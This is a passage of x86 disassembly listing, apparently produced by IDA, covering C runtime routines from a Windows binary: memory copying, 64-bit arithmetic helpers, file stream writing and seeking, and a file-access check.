		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE3C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE3C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; .packed:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD3BC
		call	sub_422EA8
		mov	edx, dword_4DD3BC
		pop	ecx
		mov	ecx, dword_4DD3B8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD3BC
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD3B8
		sub	ecx, dword_4DD3BC
		mov	dword_4DD3BC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD3B8, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD3B8, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: .packed:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD3BC, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD3BC
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD3BC
		mov	dword_4DD3B8, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA8B	proc near		; CODE XREF: sub_412197+26Ep
					; sub_412197+365p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: sub_41DA8B+13j
					; sub_41DA8B+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: sub_41DA8B+27j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: sub_41DA8B+42j
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: sub_41DA8B+49j
					; sub_41DA8B+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: sub_41DA8B+Bj
					; sub_41DA8B+1Dj
		mov	dword_4DBDEC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: sub_41DA8B+7Aj
		pop	edi
		pop	esi
		retn
sub_41DA8B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: sub_416563+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4270A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDEC, 0Dh
		mov	dword_4DBDF0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
